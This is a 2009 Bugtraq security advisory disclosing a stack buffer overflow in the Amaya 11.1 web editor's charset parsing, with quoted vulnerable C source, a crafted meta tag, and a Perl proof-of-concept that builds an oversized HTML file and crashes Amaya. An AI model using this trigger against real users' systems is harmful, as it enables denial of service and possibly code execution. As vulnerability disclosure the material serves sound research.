Amaya 11.1 XHTML Parser Buffer Overflow

From: c1c4tr1z@voodoo-labs.org
To: bugtraq@securityfocus.com
Cc:
Subject: Amaya 11.1 XHTML Parser Buffer Overflow
Date:


#=cicatriz <c1c4tr1z@voodoo-labs.org>=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(advisories)=#
                                /)           /)     /)                   
                     _ _  _______(/ ________  // _   (/_ _       _____  _  
                     (/__(_)(_)(_(_(_)(_)    (/_(_(_/_) /_)_ o  (_)/ (_(_/_
                                                                      .-/  
#=Amaya 11.1 XHTML Parser Buffer Overflow=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~(_/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
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#=Advisory & Vulnerability Information=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

  Title: Amaya 11.1 XHTML Parser Buffer Overflow
     Advisory ID: VUDO-2009-0104
        Advisory URL: http://research.voodoo-labs.org/advisories/2
 Date founded: 2009-03-30
   Vendors contacted: N/A
     Class: Buffer Overflow
     Remotely Exploitable: Yes
  Locally Exploitable: Yes
   Exploit/PoC Available: Yes

#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Tested & Vulnerable packages=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

    [+] Amaya 11.1
     [+] Amaya 11
       
   Non tested but possible:
   [*] Amaya 10
       
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#=Solutions and Workarounds=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

Amaya is planning to release a newer version (11.2 snapshot) [1]

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#=Technical Information=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

A stack buffer overflow have been discovered in the Amaya [1] Web Editor's XHTML parser function:
ParseCharsetAndContentType(), wich can be used to compromise the victim's system via arbitrary code execution.
 
The overflow occurs when the application process the "charset" type from a crafted HTML page.If the charset
has a large amount of chars can lead to a stack buffer overflow and, maybe, be exploited using printable ASCII
characters. When the application was debugged, it showed that the overflow occurs in the function 
"ParseCharsetAndContentType":

+++Amaya/amaya/XHTMLbuilder.c

    68        void ParseCharsetAndContentType (Element el, Document doc) 
    69  
    70     {
    71      AttributeType attrType;
    72      Attribute     attr;
    73          ElementType   elType;
    74        CHARSET       charset;
    75       char         *text, *text2, *ptrText, *str; XXX
    76      char          charsetname[MAX_LENGTH]; 
    77      int           length;
    78        int           pos, index = 0;
    79      
   ...
   125  
   126                           if (charset == UNDEFINED_CHARSET)
   127                              {
   128                              /* the charset is not already defined by the http header */
   129                                  str = strstr (text2, "charset=");
   130                                  if (str)
   131                               {
   132                                      pos = str - text2 + 8;
   133                               while (text2[pos] != SPACE &&
   134                                             text2[pos] != TAB && text2[pos] != EOS)
   135                                       charsetname[index++] = text2[pos++]; XXX
   136                                   charsetname[index] = EOS;
   137                                    charset = TtaGetCharset (charsetname);
   138                               if (charset != UNDEFINED_CHARSET)
   139                                      TtaSetDocumentCharset (doc, charset, FALSE);
   140                             }
   141                                }
   142                          TtaFreeMemory (text2);
   143                     }       
   144                 } 
   145               }
   146                  TtaFreeMemory (text);
   147              }
   148        }

---Amaya/amaya/XHTMLbuilder.c

So, the application creates a buffer called "charsetname" with a length of 1024 bytes and then tries to fill
it with the charset type name, skipping the 8 bytes of "charset=", without making any type of length check.
If an HTML page has something like this it might produce the overflow:

+++
<meta http-equiv="Content-Type" content="text/html; charset="AAAAAAAAAAAAAAAAAAAAAAAA...x1922" />
---

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#=Proof of Concept=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

The following perl script creates an HTML file that reproduces the overflow:

+++amaya_poc.pl

#!/usr/bin/perl -w

# [*] Amaya 11.1 XHTML Parser Buffer Overflow POC
# [*] C1c4Tr1Z <c1c4tr1z@voodoo-labs.org>
## Copyright (c) 2008-2009 Voodoo Research Group.

my $filename="b0f.html";
my $b0f="\x41"x1922;
my $vulnerable=qq{
<html>
<head>
  <meta http-equiv="content-type" content="text/html; charset={b0f}">
</head>

<body>
</body>
</html>
};
#debug: "gdb -q --args \"/usr/lib/Amaya/wx/bin/amaya_bin\" ./$filename"
my $exec="/usr/lib/Amaya/wx/bin/amaya_bin ./$filename";

open(HTML, "> $filename") || die "[-] Error ($!). Exiting..\n";
$vulnerable=~s|(\{b0f\})+|$b0f|g;
print HTML $vulnerable;
close(HTML);

print "[+] File $filename created.\n";
print "[+] Setting enviroment variables..\n";

$ENV{'XLIB_SKIP_ARGB_VISUALS'}=1;
$ENV{'G_SLICE'}="always-malloc";

print "[+] Executing amaya\n";
sleep(3);
exec("clear; $exec");

---amaya_poc.pl

+++console
 $ perl amaya.pl
[+] File b0f.html created.
[+] Setting enviroment variables..
[+] Executing amaya

* Amaya: Error Irrecuperable ***Segmentation fault
 $ 
---

#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Reporting Timeline=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

   [*] 30-03-2009: Bug discovered.
    [*] 01-04-2009: Advisory VUDO-2009-3003 published without notifying the vendor.

#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=References=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#

    [1] Amaya Project Homepage: http://www.w3.org/Amaya/

#=cicatriz <c1c4tr1z@voodoo-labs.org>=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(advisories)=#
#=mi 01 abr 2009 ART=#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#





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